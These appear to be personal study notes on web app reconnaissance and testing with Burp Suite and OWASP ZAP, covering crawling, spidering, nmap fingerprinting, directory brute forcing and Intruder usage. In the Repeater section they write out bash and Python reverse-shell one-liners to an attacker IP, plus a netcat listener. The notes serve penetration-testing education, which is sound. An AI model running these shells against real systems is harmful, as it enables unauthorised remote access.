Web crawling and spidering with burp suite and OWASP ZAP

Crawling

- is a process of navigating around the web app following links , submitting forms and logging in with the objective of mapping out and cataloging the web app and navigational path.
- is typically passive . to know passive to know how the website is setup and how it works.
- clicking around of what is accessible (Burp suite).

spidering

- is process of auto discover new resources (URLs) on website
- is starts with seed -> till it reach the hyperlinks in the page and add them to the list of URLs
- spidering can be quite loud (active)
- can Identify hidden content
- Spidering is typically a bot

Web server Finger printing

- process of identifying the tech is being used on the web server
- to search for vuln for specific version is being used

```
nmap -sV IP -F
searchsploit
nmap -sV -p- IP
nmap -sV -sC IP
'/usr/share/nmap/scripts' | grep -i "Http"
http-enum
```

- #note Another way

- burp suite , reload -> #note http history (look for server)
- #note Metasploit Auxiliary/scanner/http/version
- #note Curl http://IP
- Cgl's are specific for Apache
- Microsoft IIS Webserver (asp , ESP)
- #note Directory brute force

```
dirb http://IP /usr/share/meta /data/wordlists/directory
```

Web proxies

- web proxies : is a tool used to capture , analyze and interception , modify requests and responses
- help to analyze and study behavior of webapp

Web proxy	web proxy server
intercept, analyze HTTP/s requests and responses between client and server	proxy intercept traffic and filter specific traffic and optimize bandwidth (squid Proxy)
Web proxy is app by the browser	Mask Ip , intercept traffic , analyze traffic , load balancer , prevent DDOS attacks . the IP provided by the DNS is IP of proxy server that is configured to sent requests to web app

why web proxies

- analyze behavior and function of web
- map out the structure of web app
- Identify vuln and mis configuration
- Assess and attack web app

Burp suite (multiplate form)

- web proxy (Java) , port swigger
- used in pen test to analyze web app security
- Features:
  - 1-intercept requests and response
  - 2- Modify requests manually
  - 3-Crawl web app auto
  - 4- fuzz web app by sending patterns of valid and invalid input to test their behavior.
- Two Edition
  - Community edition
    - HTTP proxy
    - intruder module
    - modules (repeater , decoder , sequencer)
- Prof
  - project file
  - intruder
  - custom payload
  - auto scanner and crawler

Configuration of Burp suite

- proxy from settings
  - Proxy
  - Burp Browser
- Proxy (Intercept , HTTP history , web sockets , Options)
- Use Chromium
  - Proxy Listener (127.0.0.1:8080)
  - Intercept Client
  - Intercept Server

- Inspector
  - Modify (Requests) from parameter
  - Highlight a specific () to Encode it
  - Export certificate
- Repeater (send a particular request & View Response in Real Time)
  - Follow redirection
- Dash board & UI (community Edition)
  - Event log
    - Display any occurring tied to the function of burp suite while we use it
  - Option -> export -> certificate
  - browser -> settings -> cert -> import

Burp suite extensions

- Bapp store
  - turbo intruder
  - param Miner
  - CMS Scanner
  - WAF detect
  - Bypass WAF
  - Cookie fetch
  - PDF viewer
  - way back Machine
  - software Vuln scanner

Target and scope

- target tab : allows you to identify your own scope , that determine what requests and responses get proxied
- Scope functionality : allow you to define the target scope for the project , help to not log any traffic from domains not within your scope.

- SiteMap : will display URL that you have visited , mapping out the web app you are targeting and provides you with site map tree.
- to define target:
  - Scope -> ADD -> URL.com -> yes
  - to have all sub domains -> .*\URL.com$*

Passive crawling with burp suite

- Target -> scope > add > IP
- see interesting files
- Intruder -> intercept and make it to the Repeater
- see files if they are accessible
- Intruder :
  - Fuzzing module , allows utilizing an intercepted requests as a template Modify the parameters within the requests
  - used in auto sending requests , brute force , Directory brute force.
  - Position : is the area of attack
  - Payload : specific value that would like to substitute in the predefined position
- Attack Types:
  - Sniper
  - Battering RAM attack
  - Pitchfork used for multiple payload sets

Directory Enum with Burp

- open burp
  - Target > scope > add > IP
  - proxy intercept ON
  - send it to the intruder
  - Put the position > GET /$name Add $ attack type sniper
  - Payload > payload options > load wordlist

    - *#note* check to follow the redirections
- *#Anotherway*

```
gobuster dir -u URL -w Wordlist
```

- you should look for (301 ,200)

Burp suite repeater

- modifying the requests and resend the, to the web app or server to analyze the response
- it used to Fuzz web app or end points in order to identify and test vuln
- used to test vuln like (command injection , SQLi , XSS) and other vuln require custom payloads
- *#note*

```
/bin/bash -i >& /dev/tcp/MyIP/1337 0>&1

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",
4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("sh")'
```

- to open reverse shell in python

```
nc -nvlp 1337
```

- to open net cat listener to get the shell

Intro to OWASP ZAP

- Open source web proxy and scanner developed in java
- used to analyze , map and asses the security web app
- Functions :

    - ability to intercept and responses
    - automated web app scanning
    - web spidering
    - fully fledged intruder
    - Extensive collection of add-ons

burp profile	**OWASP ZAP**
sitemap , HTTP History , target and scope , proxy , repeater , Indtruder , spider , scanner , Bapp store	site tree , HTTP History , context Request editor , Fuzzer , Spider , scanner , Add on Market place

- Install zap

```
sudo apt-get update
sudo apt-get install zapproxy
```

- configuration
    - standard mode
    - safe
    - protected (preferred mode)
    - ATTACK
- Tool bar -> all functionality
- Active scan , Ajax spider , spider
- Add-ons -> (Market place)
    - tree tool
    - reflect
    - revisit
    - Directory list
    - Wapp analyzer
- Ruby scripting
- File upload

- Regular expression detector
- Generates report
- Encode and decode functionality

configure ZAP proxy

- change the port if you are using burp
- ZAP > standard mode > options > network > local > 8081
- Import new certificate each year
- Foxy proxy > add proxy > ZAP > 127.0.0.1
- set break > intercept on 8081
- Right click > request Editor (repeater)
- Right click > Fuzz (Intruder)
- Follow redirect
- History > right click > notes > alert .

Directory Enum

```
nmap -sV -F IP
```

- ZAP > zap browser > manual Explore IP
- Right click > attack > forced browser > list
- options > forced browse > Recursive mode
- start attacking

Web app scanning (Active scan)

- Target IP
- ZAP > slandered mode > browser IP
- Login.php > include this in context

Spidering (Active scan)

- auto discover new resources
- List of URL's called seeds
- It visits all the website and identify all hyper Links in the page
- used to identify hidden or unknown files , Dir , end points

```
nmap -sV -F IP
```

- attack > spider > depth 3

Attack HTTP forms (ZAP)

- ZAP > try log in with (test,test)
- look site tree > fuzz
- login = add' File
- password ' file
- Follow redirect.

“image-20210615145238169.webp” could not be found.